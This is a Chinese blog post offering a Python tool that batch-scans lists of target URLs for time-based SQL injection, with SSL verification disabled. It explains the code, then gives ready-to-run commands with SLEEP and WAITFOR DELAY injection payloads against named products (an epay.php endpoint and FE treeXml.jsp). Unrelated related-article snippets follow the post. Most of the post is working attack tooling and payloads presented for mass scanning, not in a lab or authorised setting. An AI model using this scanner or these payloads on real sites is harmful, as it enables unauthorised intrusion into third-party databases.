【python脚本】批量检测sql延时注入

文章目录

  • 前言
  • 批量检测sql延时注入
  • 工作原理
  • 脚本演示


前言

SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术,当传统的基于错误信息或数据回显的注入方法不可行时,例如当Web应用进行了安全配置,不显示任何错误信息或敏感数据时,延时注入可以作为一种有效的攻击手段。

于是我想!写个脚本来批量扫描岂不美滋滋!


批量检测sql延时注入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode

# 定义控制台输出颜色代码
# 定义控制台输出颜色代码
RED = '\033[91m'
RESET = '\033[0m'

def check_sql_delay_injection(url, path, payload, method):
    """
    检查给定的URL是否存在SQL延迟注入漏洞。

    :param url: 目标URL
    :param path: 注入点
    :param payload: 测试负载
    :param method: 传参方式
    """
    try:
        # 构造HTTP请求头
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0"
        }
        # 如果是GET请求,将数据附加到URL后面
        if method.upper() == "GET":
            url1 = url
            # 构造用于检测SQL注入漏洞的URL路径
            url += path
            url += "?" + payload  # 注意:这里使用?来追加参数
            # 解析URL,获取协议、域名和路径
            parsed_url = urlparse(url)
            # 根据URL协议创建HTTP或HTTPS连接
            if parsed_url.scheme == "https":
            # 忽略SSL证书验证
                conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())
            else:
                conn = http.client.HTTPConnection(parsed_url.netloc)
            # 记录请求开始时间
            start_time = time.time()
            # 发送GET请求
            conn.request("GET", url, headers=headers)
            response = conn.getresponse()
            # 记录请求结束时间
            elapsed_time = time.time() - start_time
        else:
            url1 = url
            # 解析URL,获取协议、域名和路径
            parsed_url = urlparse(url)
            body = payload
            # 根据URL的协议选择HTTP或HTTPS连接
            conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)
            start_time = time.time()
            # 发送POST请求
            conn.request("POST", path, body=body, headers=headers)
            response = conn.getresponse()
            # 记录请求结束时间
            elapsed_time = time.time() - start_time
        # 如果响应时间在3到5秒之间,可能存在延迟注入漏洞
        if 3 <= elapsed_time <= 6:
            print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延时注入漏洞{RESET}")
        else:
            print(f"URL [{url1}{path}|0.0620] 不存在SQL延时注入漏洞")
    except Exception as e:
        print(f"URL [{url1}{path}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在SQL延时注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    parser.add_argument('-p', '--path', default="", help='指定要请求的路径')
    parser.add_argument('-pl', '--payload', default="", help='')
    parser.add_argument('-m', '--method', default="POST", help='请求方法(GET或POST)')

    # 解析命令行参数
    args = parser.parse_args()
    
    # 如果指定了URL参数
    if args.url:
        # 确保URL以http或https开头
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 执行漏洞检查
        check_sql_delay_injection(args.url, args.path, args.payload, args.method)
    
    # 如果指定了文件参数
    elif args.file:
        # 打开文件并读取URL列表
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            # 遍历文件中的每个URL进行检查
            for url in urls:
                # 确保URL以http或https开头data
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                # 执行漏洞检查
                check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':
    main()

工作原理

这个Python脚本是一个用于检测SQL延迟注入漏洞的工具。它通过发送HTTP请求到目标URL,并根据响应时间来判断是否存在SQL延迟注入的可能性。以下是脚本的工作过程和原理的详细解释:

  1. 导入模块:脚本开始时导入了所需的模块,包括http.client用于创建HTTP连接,ssl用于处理HTTPS请求的SSL上下文,argparse用于解析命令行参数,time用于测量请求的响应时间,以及urllib.parse中的urlparseurlencode用于解析和编码URL。

  2. 定义颜色代码:为了在控制台输出中使用颜色,脚本定义了两个变量REDRESET,分别用于开始和结束红色文本的输出。

  3. 定义检测函数check_sql_delay_injection函数是脚本的核心,它接收目标URL、注入点、测试负载和传参方式作为参数。函数内部首先构造HTTP请求头,然后根据请求方法(GET或POST)来构造请求。

  4. GET请求处理

    • 如果请求方法是GET,脚本会将注入点和测试负载附加到URL后面,形成完整的请求URL。
    • 使用urlparse解析这个URL,获取协议、域名和路径。
    • 根据URL的协议(http或https),创建相应的HTTP或HTTPS连接。
    • 发送GET请求,并测量请求的响应时间。
  5. POST请求处理

    • 如果请求方法是POST,脚本会将测试负载作为请求体,并将注入点作为请求路径。
    • 与GET请求类似,根据URL协议创建连接,并发送POST请求。
    • 同样测量请求的响应时间。
  6. 判断延迟注入:脚本通过比较响应时间是否在3到6秒之间来判断是否存在SQL延迟注入漏洞。如果是,脚本会输出警告信息,指出可能存在漏洞。

  7. 异常处理:在尝试发送请求和接收响应的过程中,如果发生任何异常,脚本会捕获这些异常并输出错误信息。

  8. 命令行参数解析main函数负责解析命令行参数。用户可以通过-u/--url指定单个目标URL,或者通过-f/--file指定包含多个URL的文件。用户还可以指定请求路径(-p/--path)、测试负载(-pl/--payload)和请求方法(-m/--method)。

  9. 执行检测:根据用户提供的参数,脚本会遍历每个URL并调用check_sql_delay_injection函数来执行检测。

  10. 程序入口:脚本的标准入口是if __name__ == '__main__'部分,它调用main函数来启动程序。

这个脚本的原理基于SQL延迟注入漏洞的一个特点,通过构造特殊的SQL语句,使得数据库在执行时故意延迟,从而推断出某些信息。通过测量HTTP请求的响应时间,脚本尝试检测这种延迟。如果响应时间异常,就可能表明存在SQL延迟注入漏洞。

脚本演示

测试用例1:29网课交单平台epay.phpSQL注入漏洞
测试命令:

python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST

在这里插入图片描述

测试用例2:飞企互联treeXml.jspSQL注入
测试命令:

python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET

在这里插入图片描述


当人们做不到一些事情的时候,他们会对你说你也同样不能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/766755.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Element中的消息提示组件Message和弹框组件MessageBox

简述&#xff1a;在 Element UI 中&#xff0c;Message和MessageBox都是比较常用的组件&#xff0c;Message用来提示消息&#xff0c;而MessageBox是一个用于创建模态对话框的组件。它可以用于在页面上快速展示信息、警告或错误提示&#xff0c;而不会阻止用户的其他操作。简单…

Pandas_DataFrame读写详解:案例解析(第24天)

系列文章目录 一、 读写文件数据 二、df查询数据操作 三、df增加列操作 四、df删除行列操作 五、df数据去重操作 六、df数据修改操作 提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、 读写文…

华为DCN之:SDN和NFV

1. SDN概述 1.1 SDN的起源 SDN&#xff08;Software Defined Network&#xff09;即软件定义网络。是由斯坦福大学Clean Slate研究组提出的一种新型网络创新架构。其核心理念通过将网络设备控制平面与数据平面分离&#xff0c;从而实现了网络控制平面的集中控制&#xff0c;为…

深入理解C++中的锁

目录 1.基本互斥锁&#xff08;std::mutex&#xff09; 2.递归互斥锁&#xff08;std::recursive_mutex&#xff09; 3.带超时机制的互斥锁&#xff08;std::timed_mutex&#xff09; 4.带超时机制的递归互斥锁&#xff08;std::recursive_timed_mutex&#xff09; 5.共享…

图解 Kafka 架构

写在前面 Kafka 是一个可横向扩展&#xff0c;高可靠的实时消息中间件&#xff0c;常用于服务解耦、流量削峰。 好像是 LinkedIn 团队开发的&#xff0c;后面捐赠给apache基金会了。 kafka 总体架构图 Producer&#xff1a;生产者&#xff0c;消息的产生者&#xff0c;是消息的…

android AIDL使用demo

背景 最近打算学习一下如何在framework层添加一个自定义service。 了解到自定义service需要使用aidl&#xff0c;为了加强对aidl的了解和使用过程&#xff0c;特意又温习了一下aidl的使用&#xff0c;并用博客的形式记录下来。 aidl官方参考&#xff1a;https://developer.and…

不同系统间数据交换要通过 api 不能直接数据库访问

很多大数据开发提供数据给外部系统直接给表结构&#xff0c;这是不好的方式。在不同系统间进行数据交换时&#xff0c;通过API&#xff08;应用程序编程接口&#xff09;而非直接访问数据库是现代系统集成的一种最佳实践。 目录 为什么要通过API进行数据交换如何通过API进行数据…

论文辅导 | 基于多尺度分解的LSTM⁃ARIMA锂电池寿命预测

辅导文章 模型描述 锂电池剩余使用寿命&#xff08;Remaining useful life&#xff0c;RUL&#xff09;预测是锂电池研究的一个重要方向&#xff0c;通过对RUL的准确预测&#xff0c;可以更好地管理和维护电池&#xff0c;延长电池使用寿命。为了能够准确预测锂电池的RUL&…

STM32 看门狗 HAL

由时钟图可以看出看门狗采用的是内部低速时钟&#xff0c;频率为40KHz 打开看门狗&#xff0c;采用32分频&#xff0c;计数1250。 结合设置的分频系数和重载计数值&#xff0c;我们可以计算出看门狗的定时时间&#xff1a; 32*1250/40kHz 1s 主函数中喂狗就行 HAL_IWDG_Ref…

STM32 HAL库读取ID

在stm32f1xx_hal.c文件中由读取ID号的子函数&#xff0c;不同单片机的UID_BASE不同&#xff0c;本单片机用的是STM32F103CBT6,跳转之后可以看到地址为&#xff1a;0x1FFFF7E8 在程序中只需定义一个数组调用读取ID的函数即可 uint32_t UID[3]; while(1) { UID[0] HAL_GetUIDw0…

catia数控加工仿真铣平面粗加工

1&#xff0c;零件建模&#xff0c;毛坯建模 2 在毛坯上建立坐标系 3 添加资料刀具 4&#xff0c;双击对相关加工信息做设置 5 Roughing 加工设置 高亮红色区域是必选的&#xff0c;其他可以默认 6 完成加工仿真 7 加工余量

EasyExcel4导入导出数据(基于MyBatisPlus)

一、POM依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><m…

Camera Raw:编辑 - 细节

Camera Raw “编辑”模块中的细节 Detail面板用于增强照片的锐度和减少噪点。通过对锐化和降噪进行精细调整&#xff0c;可以提高图像的清晰度&#xff0c;减少噪点&#xff0c;提高图像质量。 ◆ ◆ ◆ 使用方法与技巧 1、增强照片锐度 较小的“半径”&#xff0c;较大的“细…

如何解决大文件传输存在的痛点,实现高效流转?

在当代的数字化时代&#xff0c;数据资产在各行各业中扮演着举足轻重的角色&#xff0c;而数据的流通与交换则是其价值得以实现的关键。企业在进行大文件传输时&#xff0c;都面临着诸多挑战&#xff0c;比如网络延迟、大小受限、安全风险等。因此&#xff0c;如何高效安全的进…

springboot个人证书管理系统16679

springboot个人证书管理系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了个人证书管理系统的开发全过程。通过分析个人证书管理系统管理的不足&#xff0c;创建了一个计算机管理个人证书管理系统的方案。文…

3、FTL基本工作过程

上文描述了FTL的四大功能&#xff0c;这里简述一下每个功能的含义。 地址转换简述 FTL要维护一个地址转换表&#xff0c;这个转换表是主机读/写硬盘的逻辑地址到硬盘实际物理地址的转换关系。 假如SSD的容量是128G&#xff0c;SSD逻辑块的大小是4KB&#xff0c;那SSD的逻辑块…

Linux系统的服务——以Centos7为例

一、Linux系统的服务简介 服务是向外部提供对应功能的进程&#xff0c;其运行在系统后台&#xff0c;能够7*24小时持续不断的提供外界随时发来的服务请求&#xff0c;且服务进程常驻在内存中&#xff0c;具有固定的端口号&#xff0c;通过端口号就能找到服务内容。 提供服务的一…

Linux源码阅读笔记10-进程NICE案例分析2

set_user_nice set_user_nice函数功能&#xff1a;设置某一进程的NICE值&#xff0c;其NICE值的计算是根据进程的静态优先级&#xff08;task_struct->static_prio&#xff09;&#xff0c;直接通过set_user_nice函数更改进程的静态优先级。 内核源码 void set_user_nice…

Unity3d C#实现基于UGUI ScrollRect的轮播图效果功能(含源码)

前言 轮播功能是一种常见的页面组件&#xff0c;用于在页面中显示多张图片/素材并自动或手动进行切换&#xff0c;以提高页面的美观度和用户体验。主要的功能是&#xff1a;自动/手动切换;平滑的切换效果;导航指示器等。可惜Unity的UGUI系统里没有现成的实现该功能&#xff0c…

BiTCN-Attention一键实现回归预测+8张图+特征可视化图!注意力全家桶再更新!

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ 目录 原理简介 数据介绍 结果展示 全家桶代码目…